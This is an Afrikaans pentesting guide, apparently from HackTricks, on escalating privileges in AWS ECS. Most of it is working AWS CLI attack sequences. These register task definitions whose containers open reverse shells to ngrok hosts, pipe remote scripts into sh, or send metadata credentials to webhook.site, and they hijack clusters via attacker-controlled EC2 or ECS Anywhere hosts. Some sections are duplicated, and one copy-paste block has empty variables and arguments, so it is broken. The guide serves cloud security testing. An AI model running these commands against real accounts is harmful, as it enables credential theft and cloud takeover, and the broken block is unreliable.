# AWS - ECS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## ECS

Meer **inligting oor ECS** in:

{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

'n aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS kan **generate a new task definition** met 'n **malicious container** wat die **metadata credentials** steel en dit **run it**.

{{#tabs }}
{{#tab name="Reverse Shell" }}
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}

{{#tab name="Webhook" }}

Skep 'n webhook met 'n webwerf soos webhook.site
```bash

# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

```
{{#endtab }}

{{#endtabs }}

**Potensiële impak:** Direkte privesc na 'n ander ECS rol.

### `iam:PassRole`,`ecs:RunTask`
'n Aanvaller wat `iam:PassRole` en `ecs:RunTask` regte het, kan 'n nuwe ECS taak begin met aangepaste **execution role**, **task role** en die container se **command** waardes. Die `ecs run-task` CLI-opdrag bevat die `--overrides` vlag wat toelaat om tydens runtime die `executionRoleArn`, `taskRoleArn` en die container se `command` te verander sonder om die task definition aan te raak.

Die gespesifiseerde IAM-rolle vir `taskRoleArn` en `executionRoleArn` moet toestaan dat hulle deur `ecs-tasks.amazonaws.com` aangeneem kan word in hul trust policy.

Verder moet die aanvaller weet:
- ECS cluster name
- VPC Subnet
- Security group (Indien geen security group gespesifiseer is, sal die verstek een gebruik word)
- Task Definition Name and revision
- Name of the Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
In die kodefragment hierbo oorskryf 'n attacker slegs die `taskRoleArn`-waarde. Die attacker moet egter die `iam:PassRole`-toestemming hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en die `executionRoleArn` wat in die taakdefinisie gespesifiseer is, vir die attack om plaas te vind.

As die IAM-rol wat die attacker kan pass genoeg voorregte het om 'n ECR-image te pull en die ECS-task te start (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), kan die attacker dieselfde IAM-rol vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task` opdrag spesifiseer.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
**Potensiële impak:** Direkte privesc na enige ECS taakrol.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissies in ECS **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige container** wat die metagegewens-aanmeldbewyse steel en dit **uitvoer**.\ In hierdie geval moet daar egter 'n container-instansie wees om die kwaadwillige taakdefinisie uit te voer.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potential Impact:** Direkte privesc na enige ECS-rol.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 

Net soos in die vorige voorbeeld kan 'n attacker wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** toestemmings in ECS **'n nuwe task definition genereer** met 'n **malicious container** wat die metadata credentials steel en **dit laat hardloop deur 'n nuwe service te skep met ten minste 1 task wat loop.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Potensiële impak:** Direkte privesc na enige ECS rol.

### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

Inderdaad, slegs met daardie toestemmings is dit moontlik om overrides te gebruik om arbitrêre kommando's in 'n container uit te voer met 'n arbitrêre rol met iets soos:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Potential Impact:** Direkte privesc na enige ECS-rol.

### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

Hierdie scenario is soos die vorige maar **sonder** die **`iam:PassRole`** toestemming.\
Dit is steeds interessant want as jy 'n ewekansige container kan laat loop, selfs al is dit sonder 'n rol, kan jy **'n bevoorregte container laat loop om na die node te ontsnap** en **die EC2 IAM-rol te steel** en **die rolle van ander ECS-containers** wat op die node loop.\
Jy kan selfs **ander take dwing om binne die EC2-instansie te laat loop** wat jy kompromiteer om hul geloofsbriewe te steel (soos bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).

> [!WARNING]
> Hierdie aanval is slegs moontlik as die **ECS cluster EC2-instansies gebruik** en nie Fargate nie.
```bash
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

'n aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende kontainer en die daaraan gekoppelde IAM-rol eksfiltreer (jy het die describe-permissies nodig omdat dit nodig is om `aws ecs execute-command` te kan uitvoer).\
Om dit te doen moet die kontainer-instansie egter die **ExecuteCommand agent** laat loop (wat per verstek nie so is nie).

Daarom kan die aanvaller probeer:

- **Probeer 'n opdrag uitvoer** in elke lopende kontainer
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
Sodra jy 'n shell binne die container het, kan jy gewoonlik **extract the task role credentials** vanaf die task credentials endpoint en dit buite die container hergebruik:
```sh
# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq

# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY
```
- As hy die toestemming **`ecs:RunTask`** het, voer 'n taak uit met `aws ecs run-task --enable-execute-command [...]`
- As hy die toestemming **`ecs:StartTask`** het, voer 'n taak uit met `aws ecs start-task --enable-execute-command [...]`
- As hy die toestemming **`ecs:CreateService`** het, skep 'n service met `aws ecs create-service --enable-execute-command [...]`
- As hy die toestemming **`ecs:UpdateService`** het, werk 'n service by met `aws ecs update-service --enable-execute-command [...]`

Jy kan **voorbeelde van daardie opsies** vind in **vorige ECS privesc-afdelings**.

**Potensiële impak:** Privesc na 'n ander rol wat aan containers gekoppel is.

### `ssm:StartSession`

Kyk op die **ssm privesc bladsy** hoe jy hierdie toestemming kan misbruik om te **privesc na ECS**:

{{#ref}}
../aws-ssm-privesc/README.md
{{#endref}}

### `iam:PassRole`, `ec2:RunInstances`

Kyk by die **ec2 privesc bladsy** hoe jy hierdie toestemmings kan misbruik om na **ECS te privesc**:

{{#ref}}
../aws-ec2-privesc/README.md
{{#endref}}

### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

'n Aanvaller met hierdie toestemmings kan dikwels **'turn "cluster membership" into a security boundary bypass'**:

- Registreer 'n **attacker-controlled EC2 instance** in 'n slagoffer se ECS cluster (wat 'n container instance word)
- Stel pasgemaakte **container instance attributes** in om aan **placement constraints** te voldoen
- Laat ECS tasks op daardie gasheer skeduleer
- Steel **task role credentials** (en enige secrets/data binne die container) vanaf die task wat op jou gasheer loop

Hoëvlak werkvloei:

1) Verkry 'n EC2 instance identity document + signature vanaf 'n EC2 instance wat jy beheer in die teikenrekening (byvoorbeeld via SSM/SSH):
```bash
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
```
2) Registreer dit in die teikenkluster, stel opsioneel attribuite om plaasingsbeperkings te vervul:
```bash
aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack
```
3) Bevestig dat dit aangesluit het:
```bash
aws ecs list-container-instances --cluster "$CLUSTER"
```
4) Begin 'n task / werk 'n service by sodat iets op die instance geskeduleer word, en oes dan task role creds van binne die task:
```bash
# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
```
Notes:

- Om `container instance` te registreer deur die instance identity document/signature te gebruik, dui dit daarop dat jy toegang het tot 'n EC2-instance in die teikenrekening (of een gekompromitteer het). Vir cross-account "bring your own EC2", sien die **ECS Anywhere** tegniek op hierdie bladsy.
- Plasingsbeperkings berus gewoonlik op container instance-eienskappe. Lys dit via `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, en `ecs:DescribeContainerInstances` om te weet watter eienskappe jy moet stel.


### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

> [!NOTE]
> TODO: Toets dit

'n aanvaller met die permissies `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige task set vir 'n bestaande ECS service skep en die primêre task set opdateer**. Dit stel die aanvaller in staat om **arbitrêre kode binne die diens uit te voer**.
```bash
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potensiële impak**: Voer ewekansige kode uit in die geraakte diens, wat moontlik die funksionaliteit daarvan beïnvloed of sensitiewe data kan eksfiltreer.

## Verwysings

- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)







### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

'n Aanvaller met permissies om ECS capacity providers te bestuur en services op te dateer, kan 'n EC2 Auto Scaling Group wat hulle beheer skep, dit in 'n ECS Capacity Provider inprop, dit aan die teiken-cluster koppel, en 'n slagoffer-diens migreer om hierdie provider te gebruik. Tasks sal dan op aanvaller-beheerde EC2 instances geskeduleer word, wat OS-vlak toegang gee om containers te ondersoek en task role credentials te steel.

Commands (us-east-1):

- Vereistes



- Create Launch Template for ECS agent to join target cluster



- Create Auto Scaling Group



- Create Capacity Provider from the ASG



- Associate the Capacity Provider to the cluster (optionally as default)



- Migrate a service to your provider



- Verify tasks land on attacker instances



- Opsioneel: Vanaf die EC2-node, docker exec in die teiken-containers en lees http://169.254.170.2 om die task role credentials te bekom.

- Opruiming



**Potensiële impak:** EC2-nodes wat deur die aanvaller beheer word ontvang slagoffer-tasks, wat OS-vlak-toegang tot containers en diefstal van task IAM role credentials moontlik maak.


<details>
<summary>Stap-vir-stap opdragte (kopieer/plak)</summary>
<pre>
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62
SUBNETS=

AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=

ASG_ARN=

CP_NAME=htcp-8797
aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1

SVC=
# Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment

TASK=
CI=
aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
</pre>
</details>

### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

Misbruik ECS Anywhere om 'n aanvaller-beheerde host as 'n EXTERNAL container instance in 'n slagoffer ECS cluster te registreer en tasks op daardie host te laat loop met behulp van privileged task en execution roles. Dit gee OS-vlak beheer oor waar tasks loop (jou eie masjien) en laat toe dat credentials/data van tasks en aangehegte volumes gesteel word sonder om capacity providers of ASGs te raak.

- Vereiste perms (voorbeeld minimaal):
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

- Impak: Laat ewekansige containers loop met 'n gekose taskRoleArn op die aanvaller-host; eksfiltreer task-role credentials vanaf 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; kry toegang tot enige volumes wat deur tasks gemount is; meer stil as om capacity providers/ASGs te manipuleer.

Stappe

1) Skep/identifiseer cluster (us-east-1)
```bash
aws ecs create-cluster --cluster-name ht-ecs-anywhere
```
2) Skep ECS Anywhere role en SSM activation (vir on-prem/EXTERNAL instance)
```bash
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
```
3) Voorzie attacker host en registreer dit outomaties as EXTERNAL (voorbeeld: klein AL2 EC2 as “on‑prem”)

<details>
<summary>user-data.sh</summary>
```bash
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
```
</details>
```bash
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```
4) Verifieer dat die EXTERNAL container instance aangesluit is
```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
```
5) Skep task/execution roles, registreer EXTERNAL task definition, en voer dit op die aanvaller-host uit
```bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role

# task def (EXTERNAL launch)
cat > td-external.json << 'JSON'
{
"family": "ht-external",
"requiresCompatibilities": [ "EXTERNAL" ],
"networkMode": "bridge",
"memory": "256",
"cpu": "128",
"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
"containerDefinitions": [
{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
"memory": 128,
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
}
]
}
JSON
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition --cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI
```
6) Van hier af het jy beheer oor die host wat die tasks uitvoer. Jy kan task logs (as awslogs) lees of direk op die host exec om credentials/data van jou tasks te exfiltrate.



#### Opdragvoorbeeld (plaatshouers)




### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

'n Aanvaller met toestemmings om ECS capacity providers te bestuur en services by te werk, kan 'n EC2 Auto Scaling Group skep wat hulle beheer, dit in 'n ECS Capacity Provider inspan, dit aan die teiken cluster koppel, en 'n slagoffer service na hierdie provider migreer. Tasks sal dan op aanvaller-beheerde EC2 instances geskeduleer word, wat OS-vlak toegang toelaat om containers te inspekteer en task role credentials te steel.

Commands (us-east-1):

- Vereistes



- Skep Launch Template vir die ECS agent om by die teiken cluster aan te sluit



- Skep Auto Scaling Group



- Skep Capacity Provider vanaf die ASG



- Koppel die Capacity Provider aan die cluster (opsioneel as standaard)



- Migreer 'n service na jou provider



- Verifieer dat tasks op aanvaller-instances land



- Opsioneel: Vanaf die EC2 node, docker exec in die teiken containers en lees http://169.254.170.2 om die task role credentials te verkry.

- Opruiming



**Potensiële impak:** Aanvaller-beheerde EC2 nodes ontvang slagoffer tasks, wat OS-vlak toegang tot containers en diefstal van task IAM role credentials moontlik maak.
{{#include ../../../../banners/hacktricks-training.md}}
